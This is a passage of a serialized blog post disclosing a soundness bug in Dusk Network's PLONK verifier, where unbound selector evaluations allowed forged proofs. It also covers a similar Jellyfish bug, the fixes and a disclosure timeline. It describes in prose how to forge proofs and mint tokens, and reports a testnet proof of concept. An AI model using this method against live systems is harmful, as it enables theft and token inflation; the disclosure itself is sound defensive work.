struct",{"type":26,"value":1670},{"type":21,"tag":29,"props":148282,"children":148285},{"href":148283,"rel":148284},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[33],[148286],{"type":26,"value":148287},"transcript absorption",{"type":26,"value":1670},{"type":21,"tag":29,"props":148290,"children":148293},{"href":148291,"rel":148292},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[33],[148294],{"type":26,"value":148295},"arithmetic widget",{"type":26,"value":1670},{"type":21,"tag":29,"props":148298,"children":148301},{"href":148299,"rel":148300},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[33],[148302],{"type":26,"value":148303},"fixed-base ECC widget",{"type":26,"value":148305},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":21,"tag":22,"props":148307,"children":148308},{},[148309,148311,148315],{"type":26,"value":148310},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":21,"tag":5302,"props":148312,"children":148313},{},[148314],{"type":26,"value":21186},{"type":26,"value":148316}," bugs:",{"type":21,"tag":87,"props":148318,"children":148319},{},[148320,148460],{"type":21,"tag":91,"props":148321,"children":148322},{},[148323,148325,148370,148372,148378,148380,148385,148386,148391,148392,148397,148399,148405,148407,148452,148454,148459],{"type":26,"value":148324},"There is no prover-supplied ",{"type":21,"tag":78,"props":148326,"children":148328},{"className":148327},[6715,6716],[148329],{"type":21,"tag":153,"props":148330,"children":148332},{"className":148331},[6721],[148333],{"type":21,"tag":153,"props":148334,"children":148336},{"className":148335,"ariaHidden":3294},[6726],[148337],{"type":21,"tag":153,"props":148338,"children":148340},{"className":148339},[6731],[148341,148345,148350,148355,148360,148365],{"type":21,"tag":153,"props":148342,"children":148344},{"className":148343,"style":6841},[6736],[],{"type":21,"tag":153,"props":148346,"children":148348},{"className":148347},[6742,24280],[148349],{"type":26,"value":5896},{"type":21,"tag":153,"props":148351,"children":148353},{"className":148352},[24409],[148354],{"type":26,"value":189},{"type":21,"tag":153,"props":148356,"children":148358},{"className":148357,"style":115901},[6742,24280],[148359],{"type":26,"value":115904},{"type":21,"tag":153,"props":148361,"children":148363},{"className":148362,"style":95830},[6742,24280],[148364],{"type":26,"value":147034},{"type":21,"tag":153,"props":148366,"children":148368},{"className":148367},[24431],[148369],{"type":26,"value":2071},{"type":26,"value":148371}," field at all. ",{"type":21,"tag":78,"props":148373,"children":148375},{"className":148374},[],[148376],{"type":26,"value":148377},"ProofEvaluations",{"type":26,"value":148379}," contains ",{"type":21,"tag":78,"props":148381,"children":148383},{"className":148382},[],[148384],{"type":26,"value":148182},{"type":26,"value":1670},{"type":21,"tag":78,"props":148387,"children":148389},{"className":148388},[],[148390],{"type":26,"value":148189},{"type":26,"value":9217},{"type":21,"tag":78,"props":148393,"children":148395},{"className":148394},[],[148396],{"type":26,"value":148196},{"type":26,"value":148398},", but no ",{"type":21,"tag":78,"props":148400,"children":148402},{"className":148401},[],[148403],{"type":26,"value":148404},"c_w_eval",{"type":26,"value":148406},", so the verifier never consumes an unbound ",{"type":21,"tag":78,"props":148408,"children":148410},{"className":148409},[6715,6716],[148411],{"type":21,"tag":153,"props":148412,"children":148414},{"className":148413},[6721],[148415],{"type":21,"tag":153,"props":148416,"children":148418},{"className":148417,"ariaHidden":3294},[6726],[148419],{"type":21,"tag":153,"props":148420,"children":148422},{"className":148421},[6731],[148423,148427,148432,148437,148442,148447],{"type":21,"tag":153,"props":148424,"children":148426},{"className":148425,"style":6841},[6736],[],{"type":21,"tag":153,"props":148428,"children":148430},{"className":148429},[6742,24280],[148431],{"type":26,"value":5896},{"type":21,"tag":153,"props":148433,"children":148435},{"className":148434},[24409],[148436],{"type":26,"value":189},{"type":21,"tag":153,"props":148438,"children":148440},{"className":148439,"style":115901},[6742,24280],[148441],{"type":26,"value":115904},{"type":21,"tag":153,"props":148443,"children":148445},{"className":148444,"style":95830},[6742,24280],[148446],{"type":26,"value":147034},{"type":21,"tag":153,"props":148448,"children":148450},{"className":148449},[24431],[148451],{"type":26,"value":2071},{"type":26,"value":148453}," claim (",{"type":21,"tag":29,"props":148455,"children":148457},{"href":148275,"rel":148456},[33],[148458],{"type":26,"value":148279},{"type":26,"value":23436},{"type":21,"tag":91,"props":148461,"children":148462},{},[148463,148465,148552,148554,148646,148647,148654],{"type":26,"value":148464},"There is a fourth permutation commitment ",{"type":21,"tag":78,"props":148466,"children":148468},{"className":148467},[6715,6716],[148469],{"type":21,"tag":153,"props":148470,"children":148472},{"className":148471},[6721],[148473],{"type":21,"tag":153,"props":148474,"children":148476},{"className":148475,"ariaHidden":3294},[6726],[148477],{"type":21,"tag":153,"props":148478,"children":148480},{"className":148479},[6731],[148481,148485,148490,148547],{"type":21,"tag":153,"props":148482,"children":148484},{"className":148483,"style":6841},[6736],[],{"type":21,"tag":153,"props":148486,"children":148488},{"className":148487},[24409],[148489],{"type":26,"value":211},{"type":21,"tag":153,"props":148491,"children":148493},{"className":148492},[6742],[148494,148499],{"type":21,"tag":153,"props":148495,"children":148497},{"className":148496,"style":95830},[6742,24280],[148498],{"type":26,"value":146929},{"type":21,"tag":153,"props":148500,"children":148502},{"className":148501},[6757],[148503],{"type":21,"tag":153,"props":148504,"children":148506},{"className":148505},[6762,24334],[148507,148536],{"type":21,"tag":153,"props":148508,"children":148510},{"className":148509},[6767],[148511,148531],{"type":21,"tag":153,"props":148512,"children":148514},{"className":148513,"style":95396},[6772],[148515],{"type":21,"tag":153,"props":148516,"children":148517},{"style":95877},[148518,148522],{"type":21,"tag":153,"props":148519,"children":148521},{"className":148520,"style":6782},[6781],[],{"type":21,"tag":153,"props":148523,"children":148525},{"className":148524},[6787,6788,6789,6790],[148526],{"type":21,"tag":153,"props":148527,"children":148529},{"className":148528},[6742,6790],[148530],{"type":26,"value":4104},{"type":21,"tag":153,"props":148532,"children":148534},{"className":148533},[24437],[148535],{"type":26,"value":24440},{"type":21,"tag":153,"props":148537,"children":148539},{"className":148538},[6767],[148540],{"type":21,"tag":153,"props":148541,"children":148543},{"className":148542,"style":95427},[6772],[148544],{"type":21,"tag":153,"props":148545,"children":148546},{},[],{"type":21,"tag":153,"props":148548,"children":148550},{"className":148549},[24431],[148551],{"type":26,"value":350},{"type":26,"value":148553}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":21,"tag":78,"props":148555,"children":148557},{"className":148556},[6715,6716],[148558],{"type":21,"tag":153,"props":148559,"children":148561},{"className":148560},[6721],[148562],{"type":21,"tag":153,"props":148563,"children":148565},{"className":148564,"ariaHidden":3294},[6726],[148566],{"type":21,"tag":153,"props":148567,"children":148569},{"className":148568},[6731],[148570,148574,148631,148636,148641],{"type":21,"tag":153,"props":148571,"children":148573},{"className":148572,"style":6841},[6736],[],{"type":21,"tag":153,"props":148575,"children":148577},{"className":148576},[6742],[148578,148583],{"type":21,"tag":153,"props":148579,"children":148581},{"className":148580,"style":95830},[6742,24280],[148582],{"type":26,"value":146929},{"type":21,"tag":153,"props":148584,"children":148586},{"className":148585},[6757],[148587],{"type":21,"tag":153,"props":148588,"children":148590},{"className":148589},[6762,24334],[148591,148620],{"type":21,"tag":153,"props":148592,"children":148594},{"className":148593},[6767],[148595,148615],{"type":21,"tag":153,"props":148596,"children":148598},{"className":148597,"style":95396},[6772],[148599],{"type":21,"tag":153,"props":148600,"children":148601},{"style":95877},[148602,148606],{"type":21,"tag":153,"props":148603,"children":148605},{"className":148604,"style":6782},[6781],[],{"type":21,"tag":153,"props":148607,"children":148609},{"className":148608},[6787,6788,6789,6790],[148610],{"type":21,"tag":153,"props":148611,"children":148613},{"className":148612},[6742,6790],[148614],{"type":26,"value":4104},{"type":21,"tag":153,"props":148616,"children":148618},{"className":148617},[24437],[148619],{"type":26,"value":24440},{"type":21,"tag":153,"props":148621,"children":148623},{"className":148622},[6767],[148624],{"type":21,"tag":153,"props":148625,"children":148627},{"className":148626,"style":95427},[6772],[148628],{"type":21,"tag":153,"props":148629,"children":148630},{},[],{"type":21,"tag":153,"props":148632,"children":148634},{"className":148633},[24409],[148635],{"type":26,"value":189},{"type":21,"tag":153,"props":148637,"children":148639},{"className":148638,"style":115901},[6742,24280],[148640],{"type":26,"value":115904},{"type":21,"tag":153,"props":148642,"children":148644},{"className":148643},[24431],[148645],{"type":26,"value":2071},{"type":26,"value":5820},{"type":21,"tag":29,"props":148648,"children":148651},{"href":148649,"rel":148650},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[33],[148652],{"type":26,"value":148653},"permutation verifier key",{"type":26,"value":23436},{"type":21,"tag":22,"props":148656,"children":148657},{},[148658,148660,148670],{"type":26,"value":148659},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":21,"tag":29,"props":148661,"children":148664},{"href":148662,"rel":148663},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[33],[148665],{"type":21,"tag":78,"props":148666,"children":148668},{"className":148667},[],[148669],{"type":26,"value":148111},{"type":26,"value":148671},", which leaves the master equation underconstrained.",{"type":21,"tag":22,"props":148673,"children":148674},{},[148675],{"type":21,"tag":3644,"props":148676,"children":148679},{"alt":148677,"src":148678},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":21,"tag":21491,"props":148681,"children":148682},{},[],{"type":21,"tag":66,"props":148684,"children":148686},{"id":148685},"the-exploitation",[148687],{"type":26,"value":148688},"The exploitation",{"type":21,"tag":22,"props":148690,"children":148691},{},[148692],{"type":26,"value":148693},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":21,"tag":22,"props":148695,"children":148696},{},[148697,148699,148705,148707,148712,148714,148719,148721,148727],{"type":26,"value":148698},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":21,"tag":78,"props":148700,"children":148702},{"className":148701},[],[148703],{"type":26,"value":148704},"z_challenge",{"type":26,"value":148706},", it computes what the linearization polynomial ",{"type":21,"tag":5302,"props":148708,"children":148709},{},[148710],{"type":26,"value":148711},"should",{"type":26,"value":148713}," evaluate to for the pairing check to pass, then solves for ",{"type":21,"tag":78,"props":148715,"children":148717},{"className":148716},[],[148718],{"type":26,"value":148232},{"type":26,"value":148720},", the single free variable that makes the verification equation balance (setting ",{"type":21,"tag":78,"props":148722,"children":148724},{"className":148723},[],[148725],{"type":26,"value":148726},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":26,"value":23436},{"type":21,"tag":22,"props":148729,"children":148730},{},[148731],{"type":21,"tag":3644,"props":148732,"children":148735},{"alt":148733,"src":148734},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":21,"tag":22,"props":148737,"children":148738},{},[148739,148741,148781,148783,148808,148810,148815],{"type":26,"value":148740},"To achieve this one may compute the linearization polynomial ",{"type":21,"tag":78,"props":148742,"children":148744},{"className":148743},[6715,6716],[148745],{"type":21,"tag":153,"props":148746,"children":148748},{"className":148747},[6721],[148749],{"type":21,"tag":153,"props":148750,"children":148752},{"className":148751,"ariaHidden":3294},[6726],[148753],{"type":21,"tag":153,"props":148754,"children":148756},{"className":148755},[6731],[148757,148761,148766,148771,148776],{"type":21,"tag":153,"props":148758,"children":148760},{"className":148759,"style":6841},[6736],[],{"type":21,"tag":153,"props":148762,"children":148764},{"className":148763,"style":95344},[6742,24280],[148765],{"type":26,"value":96163},{"type":21,"tag":153,"props":148767,"children":148769},{"className":148768},[24409],[148770],{"type":26,"value":189},{"type":21,"tag":153,"props":148772,"children":148774},{"className":148773},[6742,24280],[148775],{"type":26,"value":21972},{"type":21,"tag":153,"props":148777,"children":148779},{"className":148778},[24431],[148780],{"type":26,"value":2071},{"type":26,"value":148782}," with all selectors set to zero, evaluating it at ",{"type":21,"tag":78,"props":148784,"children":148786},{"className":148785},[6715,6716],[148787],{"type":21,"tag":153,"props":148788,"children":148790},{"className":148789},[6721],[148791],{"type":21,"tag":153,"props":148792,"children":148794},{"className":148793,"ariaHidden":3294},[6726],[148795],{"type":21,"tag":153,"props":148796,"children":148798},{"className":148797},[6731],[148799,148803],{"type":21,"tag":153,"props":148800,"children":148802},{"className":148801,"style":113185},[6736],[],{"type":21,"tag":153,"props":148804,"children":148806},{"className":148805,"style":115901},[6742,24280],[148807],{"type":26,"value":115904},{"type":26,"value":148809},", and comparing to the target value; the difference divided by the coefficient of ",{"type":21,"tag":78,"props":148811,"children":148813},{"className":148812},[],[148814],{"type":26,"value":148232},{"type":26,"value":148816}," gives the required value in a single field division.",{"type":21,"tag":21491,"props":148818,"children":148819},{},[],{"type":21,"tag":66,"props":148821,"children":148823},{"id":148822},"impact-on-dusk-network",[148824],{"type":26,"value":148825},"Impact on Dusk Network",{"type":21,"tag":22,"props":148827,"children":148828},{},[148829,148831,148838],{"type":26,"value":148830},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":21,"tag":29,"props":148832,"children":148835},{"href":148833,"rel":148834},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[33],[148836],{"type":26,"value":148837},"preverify path",{"type":26,"value":148839},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":21,"tag":126,"props":148841,"children":148842},{},[148843,148848,148853],{"type":21,"tag":91,"props":148844,"children":148845},{},[148846],{"type":26,"value":148847},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":21,"tag":91,"props":148849,"children":148850},{},[148851],{"type":26,"value":148852},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":21,"tag":91,"props":148854,"children":148855},{},[148856],{"type":26,"value":148857},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":21,"tag":22,"props":148859,"children":148860},{},[148861],{"type":26,"value":148862},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":21,"tag":126,"props":148864,"children":148865},{},[148866,148871,148881,148893,148898],{"type":21,"tag":91,"props":148867,"children":148868},{},[148869],{"type":26,"value":148870},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":21,"tag":91,"props":148872,"children":148873},{},[148874,148876],{"type":26,"value":148875},"The malicious wallet forges a PLONK proof to create ",{"type":21,"tag":8055,"props":148877,"children":148878},{},[148879],{"type":26,"value":148880},"2000 DUSK from nothing",{"type":21,"tag":91,"props":148882,"children":148883},{},[148884,148886,148891],{"type":26,"value":148885},"The malicious wallet transfers ",{"type":21,"tag":8055,"props":148887,"children":148888},{},[148889],{"type":26,"value":148890},"1337 DUSK",{"type":26,"value":148892}," to the honest wallet using a normal (honestly-proved) transaction",{"type":21,"tag":91,"props":148894,"children":148895},{},[148896],{"type":26,"value":148897},"The honest node validates both transactions and mines them into blocks",{"type":21,"tag":91,"props":148899,"children":148900},{},[148901],{"type":26,"value":148902},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":21,"tag":22,"props":148904,"children":148905},{},[148906],{"type":21,"tag":3644,"props":148907,"children":148910},{"alt":148908,"src":148909},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":21,"tag":22,"props":148912,"children":148913},{},[148914,148916,148922,148924,148931],{"type":26,"value":148915},"At the time of discovery, DUSK's market cap was roughly ",{"type":21,"tag":29,"props":148917,"children":148919},{"href":144217,"rel":148918},[33],[148920],{"type":26,"value":148921},"~60M",{"type":26,"value":148923},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":21,"tag":29,"props":148925,"children":148928},{"href":148926,"rel":148927},"https://neptune.cash/articles/critical-vulnerability-disclosure",[33],[148929],{"type":26,"value":148930},"Triton VM vulnerability",{"type":26,"value":355},{"type":21,"tag":21491,"props":148933,"children":148934},{},[],{"type":21,"tag":66,"props":148936,"children":148938},{"id":148937},"the-fix",[148939],{"type":26,"value":148940},"The fix",{"type":21,"tag":22,"props":148942,"children":148943},{},[148944],{"type":26,"value":148945},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":21,"tag":87,"props":148947,"children":148948},{},[148949,148994],{"type":21,"tag":91,"props":148950,"children":148951},{},[148952,148954,148965,148967,148973,148974,148980,148981,148987,148988],{"type":26,"value":148953},"Extend ",{"type":21,"tag":29,"props":148955,"children":148958},{"href":148956,"rel":148957},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[33],[148959],{"type":21,"tag":78,"props":148960,"children":148962},{"className":148961},[],[148963],{"type":26,"value":148964},"compute_aggregate_witness",{"type":26,"value":148966}," on the prover side to also include ",{"type":21,"tag":78,"props":148968,"children":148970},{"className":148969},[],[148971],{"type":26,"value":148972},"q_arith",{"type":26,"value":1670},{"type":21,"tag":78,"props":148975,"children":148977},{"className":148976},[],[148978],{"type":26,"value":148979},"q_c",{"type":26,"value":1670},{"type":21,"tag":78,"props":148982,"children":148984},{"className":148983},[],[148985],{"type":26,"value":148986},"q_l",{"type":26,"value":9217},{"type":21,"tag":78,"props":148989,"children":148991},{"className":148990},[],[148992],{"type":26,"value":148993},"q_r",{"type":21,"tag":91,"props":148995,"children":148996},{},[148997,148999,149009],{"type":26,"value":148998},"Add their evaluations to ",{"type":21,"tag":29,"props":149000,"children":149003},{"href":149001,"rel":149002},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[33],[149004],{"type":21,"tag":78,"props":149005,"children":149007},{"className":149006},[],[149008],{"type":26,"value":148111},{"type":26,"value":149010}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":21,"tag":22,"props":149012,"children":149013},{},[149014,149016,149023],{"type":26,"value":149015},"This was done in ",{"type":21,"tag":29,"props":149017,"children":149020},{"href":149018,"rel":149019},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[33],[149021],{"type":26,"value":149022},"commit 645265b7",{"type":26,"value":149024},", which landed on February 14, 2026.",{"type":21,"tag":21491,"props":149026,"children":149027},{},[],{"type":21,"tag":66,"props":149029,"children":149031},{"id":149030},"why-was-this-missed",[149032],{"type":26,"value":149033},"Why was this missed?",{"type":21,"tag":22,"props":149035,"children":149036},{},[149037,149039,149046,149047,149054,149056,149063,149065,149072],{"type":26,"value":149038},"Dusk's stack had been heavily audited: a ",{"type":21,"tag":29,"props":149040,"children":149043},{"href":149041,"rel":149042},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[33],[149044],{"type":26,"value":149045},"December 2023 audit of dusk-plonk",{"type":26,"value":126687},{"type":21,"tag":29,"props":149048,"children":149051},{"href":149049,"rel":149050},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[33],[149052],{"type":26,"value":149053},"September 2024 audit of Phoenix",{"type":26,"value":149055},", and a ",{"type":21,"tag":29,"props":149057,"children":149060},{"href":149058,"rel":149059},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[33],[149061],{"type":26,"value":149062},"September 2024 Oak Security audit of the Rusk node library",{"type":26,"value":149064},". Dusk's public ",{"type":21,"tag":29,"props":149066,"children":149069},{"href":149067,"rel":149068},"https://dusk.network/news/audits-overview",[33],[149070],{"type":26,"value":149071},"audits overview",{"type":26,"value":149073}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":21,"tag":22,"props":149075,"children":149076},{},[149077,149079,149084],{"type":26,"value":149078},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":21,"tag":5302,"props":149080,"children":149081},{},[149082],{"type":26,"value":149083},"evaluations",{"type":26,"value":355},{"type":21,"tag":22,"props":149086,"children":149087},{},[149088],{"type":26,"value":149089},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":21,"tag":22,"props":149091,"children":149092},{},[149093],{"type":26,"value":149094},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":21,"tag":66,"props":149096,"children":149098},{"id":149097},"a-similar-bug-in-espresso-systems-jellyfish",[149099],{"type":26,"value":149100},"A similar bug in Espresso Systems' Jellyfish",{"type":21,"tag":22,"props":149102,"children":149103},{},[149104,149106,149113],{"type":26,"value":149105},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":21,"tag":29,"props":149107,"children":149110},{"href":149108,"rel":149109},"https://github.com/EspressoSystems/jellyfish/",[33],[149111],{"type":26,"value":149112},"jf-plonk",{"type":26,"value":149114}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":21,"tag":22,"props":149116,"children":149117},{},[149118,149120,149127,149129,149140,149142,149167,149169,149194],{"type":26,"value":149119},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":21,"tag":29,"props":149121,"children":149124},{"href":149122,"rel":149123},"https://eprint.iacr.org/2020/315",[33],[149125],{"type":26,"value":149126},"Plookup",{"type":26,"value":149128}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":21,"tag":29,"props":149130,"children":149133},{"href":149131,"rel":149132},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[33],[149134],{"type":21,"tag":78,"props":149135,"children":149137},{"className":149136},[],[149138],{"type":26,"value":149139},"append_plookup_evaluations",{"type":26,"value":149141}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":21,"tag":78,"props":149143,"children":149145},{"className":149144},[6715,6716],[149146],{"type":21,"tag":153,"props":149147,"children":149149},{"className":149148},[6721],[149150],{"type":21,"tag":153,"props":149151,"children":149153},{"className":149152,"ariaHidden":3294},[6726],[149154],{"type":21,"tag":153,"props":149155,"children":149157},{"className":149156},[6731],[149158,149162],{"type":21,"tag":153,"props":149159,"children":149161},{"className":149160,"style":113185},[6736],[],{"type":21,"tag":153,"props":149163,"children":149165},{"className":149164,"style":95830},[6742,24280],[149166],{"type":26,"value":116248},{"type":26,"value":149168}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":21,"tag":78,"props":149170,"children":149172},{"className":149171},[6715,6716],[149173],{"type":21,"tag":153,"props":149174,"children":149176},{"className":149175},[6721],[149177],{"type":21,"tag":153,"props":149178,"children":149180},{"className":149179,"ariaHidden":3294},[6726],[149181],{"type":21,"tag":153,"props":149182,"children":149184},{"className":149183},[6731],[149185,149189],{"type":21,"tag":153,"props":149186,"children":149188},{"className":149187,"style":113185},[6736],[],{"type":21,"tag":153,"props":149190,"children":149192},{"className":149191,"style":95830},[6742,24280],[149193],{"type":26,"value":116248},{"type":26,"value":149195},", so the prover can adjust them after the fact to make the check pass.",{"type":21,"tag":22,"props":149197,"children":149198},{},[149199,149201,149207,149209,149215],{"type":26,"value":149200},"The attack requires modifying a single evaluation (",{"type":21,"tag":78,"props":149202,"children":149204},{"className":149203},[],[149205],{"type":26,"value":149206},"key_table_next_eval",{"type":26,"value":149208},") by ",{"type":21,"tag":78,"props":149210,"children":149212},{"className":149211},[],[149213],{"type":26,"value":149214},"delta / (u * v^3)",{"type":26,"value":149216}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":21,"tag":22,"props":149218,"children":149219},{},[149220,149222,149229,149231,149242],{"type":26,"value":149221},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":21,"tag":29,"props":149223,"children":149226},{"href":149224,"rel":149225},"https://github.com/EspressoSystems/jellyfish/pull/867",[33],[149227],{"type":26,"value":149228},"PR #867",{"type":26,"value":149230}," fixed the issue and was tagged as ",{"type":21,"tag":29,"props":149232,"children":149235},{"href":149233,"rel":149234},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[33],[149236],{"type":21,"tag":78,"props":149237,"children":149239},{"className":149238},[],[149240],{"type":26,"value":149241},"jf-plonk-v0.8.0",{"type":26,"value":149243}," on March 18, 2026.",{"type":21,"tag":21491,"props":149245,"children":149246},{},[],{"type":21,"tag":66,"props":149248,"children":149250},{"id":149249},"toward-standardization",[149251],{"type":26,"value":149252},"Toward standardization",{"type":21,"tag":22,"props":149254,"children":149255},{},[149256,149258,149265],{"type":26,"value":149257},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":21,"tag":29,"props":149259,"children":149262},{"href":149260,"rel":149261},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[33],[149263],{"type":26,"value":149264},"similar patterns appear across zkVMs",{"type":26,"value":149266},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":21,"tag":22,"props":149268,"children":149269},{},[149270],{"type":26,"value":149271},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":21,"tag":22,"props":149273,"children":149274},{},[149275],{"type":26,"value":149276},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":21,"tag":66,"props":149278,"children":149279},{"id":63116},[149280],{"type":26,"value":149281},"Disclosure timeline",{"type":21,"tag":58036,"props":149283,"children":149284},{},[149285,149301],{"type":21,"tag":125295,"props":149286,"children":149287},{},[149288],{"type":21,"tag":125299,"props":149289,"children":149290},{},[149291,149296],{"type":21,"tag":125303,"props":149292,"children":149293},{},[149294],{"type":26,"value":149295},"Date",{"type":21,"tag":125303,"props":149297,"children":149298},{},[149299],{"type":26,"value":149300},"Event",{"type":21,"tag":125323,"props":149302,"children":149303},{},[149304,149317,149330,149342,149368,149388],{"type":21,"tag":125299,"props":149305,"children":149306},{},[149307,149312],{"type":21,"tag":125330,"props":149308,"children":149309},{},[149310],{"type":26,"value":149311},"2026-02-13",{"type":21,"tag":125330,"props":149313,"children":149314},{},[149315],{"type":26,"value":149316},"Dusk vulnerability reported",{"type":21,"tag":125299,"props":149318,"children":149319},{},[149320,149325],{"type":21,"tag":125330,"props":149321,"children":149322},{},[149323],{"type":26,"value":149324},"2026-02-14",{"type":21,"tag":125330,"props":149326,"children":149327},{},[149328],{"type":26,"value":149329},"Dusk acknowledged",{"type":21,"tag":125299,"props":149331,"children":149332},{},[149333,149337],{"type":21,"tag":125330,"props":149334,"children":149335},{},[149336],{"type":26,"value":149324},{"type":21,"tag":125330,"props":149338,"children":149339},{},[149340],{"type":26,"value":149341},"Dusk fix committed",{"type":21,"tag":125299,"props":149343,"children":149344},{},[149345,149350],{"type":21,"tag":125330,"props":149346,"children":149347},{},[149348],{"type":26,"value":149349},"2026-02-27",{"type":21,"tag":125330,"props":149351,"children":149352},{},[149353,149355,149366],{"type":26,"value":149354},"Public ",{"type":21,"tag":29,"props":149356,"children":149359},{"href":149357,"rel":149358},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[33],[149360],{"type":21,"tag":78,"props":149361,"children":149363},{"className":149362},[],[149364],{"type":26,"value":149365},"dusk-rusk-1.6.0",{"type":26,"value":149367}," release published",{"type":21,"tag":125299,"props":149369,"children":149370},{},[149371,149376],{"type":21,"tag":125330,"props":149372,"children":149373},{},[149374],{"type":26,"value":149375},"2026-03-16",{"type":21,"tag":125330,"props":149377,"children":149378},{},[149379,149381,149387],{"type":26,"value":149380},"Jellyfish fix PR opened (",{"type":21,"tag":29,"props":149382,"children":149384},{"href":149224,"rel":149383},[33],[149385],{"type":26,"value":149386},"#867",{"type":26,"value":2071},{"type":21,"tag":125299,"props":149389,"children":149390},{},[149391,149396],{"type":21,"tag":125330,"props":149392,"children":149393},{},[149394],{"type":26,"value":149395},"2026-03-18",{"type":21,"tag":125330,"props":149397,"children":149398},{},[149399,149401,149406,149408],{"type":26,"value":149400},"Jellyfish fix merged in ",{"type":21,"tag":29,"props":149402,"children":149404},{"href":149224,"rel":149403},[33],[149405],{"type":26,"value":149386},{"type":26,"value":149407}," and tagged as 